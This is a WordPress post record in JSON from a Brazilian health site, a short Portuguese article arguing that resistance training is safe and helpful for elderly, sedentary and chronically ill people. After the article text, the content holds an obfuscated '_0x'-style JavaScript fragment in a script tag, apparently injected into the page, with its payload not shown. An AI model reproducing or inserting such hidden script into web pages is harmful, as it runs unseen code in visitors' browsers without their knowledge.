{"id":65,"date":"2016-04-15T12:38:56","date_gmt":"2016-04-15T12:38:56","guid":{"rendered":"http:\/\/renovamaringa.com.br\/portal\/?p=65"},"modified":"2017-06-20T17:49:52","modified_gmt":"2017-06-20T20:49:52","slug":"musculacao-e-saude","status":"publish","type":"post","link":"https:\/\/renovamaringa.com.br\/portal\/musculacao-e-saude\/","title":{"rendered":"Muscula\u00e7\u00e3o e Sa\u00fade"},"content":{"rendered":"<h2 style=\"text-align: right;\"><span style=\"color: #000000;\">Muscula\u00e7\u00e3o, uma s\u00e9rie de exerc\u00edcios resistidos.<\/span><\/h2>\n<p style=\"text-align: justify; background: white;\"><span style=\"font-size: 10.5pt; font-family: 'Tahoma','sans-serif'; color: black;\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" data-attachment-id=\"67\" data-permalink=\"https:\/\/renovamaringa.com.br\/portal\/musculacao-e-saude\/blog\/\" data-orig-file=\"https:\/\/i0.wp.com\/renovamaringa.com.br\/portal\/wp-content\/uploads\/2016\/04\/blog.png?fit=188%2C209&amp;ssl=1\" data-orig-size=\"188,209\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"muscula\u00e7\u00e3o e sa\u00fade\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/i0.wp.com\/renovamaringa.com.br\/portal\/wp-content\/uploads\/2016\/04\/blog.png?fit=188%2C209&amp;ssl=1\" data-large-file=\"https:\/\/i0.wp.com\/renovamaringa.com.br\/portal\/wp-content\/uploads\/2016\/04\/blog.png?fit=188%2C209&amp;ssl=1\" class=\"alignleft wp-image-67 size-full\" src=\"https:\/\/i0.wp.com\/renovamaringa.com.br\/portal\/wp-content\/uploads\/2016\/04\/blog.png?resize=188%2C209\" alt=\"\" width=\"188\" height=\"209\" \/>Pessoas idosas e sedent\u00e1rias apresentam habitualmente processos progressivos de desgaste e enfraquecimento dos ossos, m\u00fasculos e articula\u00e7\u00f5es. O que leva ao aparecimento de dores, podendo chegar a impedir atividades t\u00e3o suaves como a caminhada. Como solu\u00e7\u00e3o tem-se a\u00a0muscula\u00e7\u00e3o. Mas, por qu\u00ea?<\/span><\/p>\n<p style=\"background: white; text-align: justify;\"><span style=\"font-size: 10.5pt; font-family: 'Tahoma','sans-serif'; color: black;\">M\u00fasculos fortes e com boa elasticidade funcionam como amortecedores de for\u00e7as externas, aliviando\u00a0as articula\u00e7\u00f5es. Os melhores exerc\u00edcios para estimular a integridade e a fun\u00e7\u00e3o do aparelho locomotor s\u00e3o os exerc\u00edcios resistidos. Estes, s\u00e3o, geralmente, realizados com pesos gradu\u00e1veis, cuja pr\u00e1tica \u00e9 hoje conhecida como muscula\u00e7\u00e3o.<\/span><\/p>\n<p style=\"background: white; text-align: justify;\"><span style=\"font-size: 10.5pt; font-family: 'Tahoma','sans-serif'; color: black;\">Com rela\u00e7\u00e3o \u00e0 seguran\u00e7a, os exerc\u00edcios resistidos foram identificados como os mais adequados para pessoas sedent\u00e1rias ou debilitadas, em fun\u00e7\u00e3o da facilidade com que podem ser adaptados para qualquer condi\u00e7\u00e3o de sa\u00fade e de aptid\u00e3o.<\/span><\/p>\n<p style=\"background: white; text-align: justify;\"><span style=\"font-size: 10.5pt; font-family: 'Tahoma','sans-serif'; color: black;\">A muscula\u00e7\u00e3o pode ser mais suave do que caminhar. Com procedimentos t\u00e9cnicos simples, os exerc\u00edcios resistidos proporcionam grande seguran\u00e7a nas doen\u00e7as reumatol\u00f3gicas, ortop\u00e9dicas e neurol\u00f3gicas.<\/span><\/p>\n<p style=\"background: white; text-align: justify;\"><span style=\"font-size: 10.5pt; font-family: 'Tahoma','sans-serif'; color: black;\">Os exerc\u00edcios resistidos s\u00e3o importantes\u00a0para melhorar a qualidade de vida das pessoas com doen\u00e7as cr\u00f4nicas, promovendo sa\u00fade geral.<\/span><\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Muscula\u00e7\u00e3o, uma s\u00e9rie de exerc\u00edcios resistidos. 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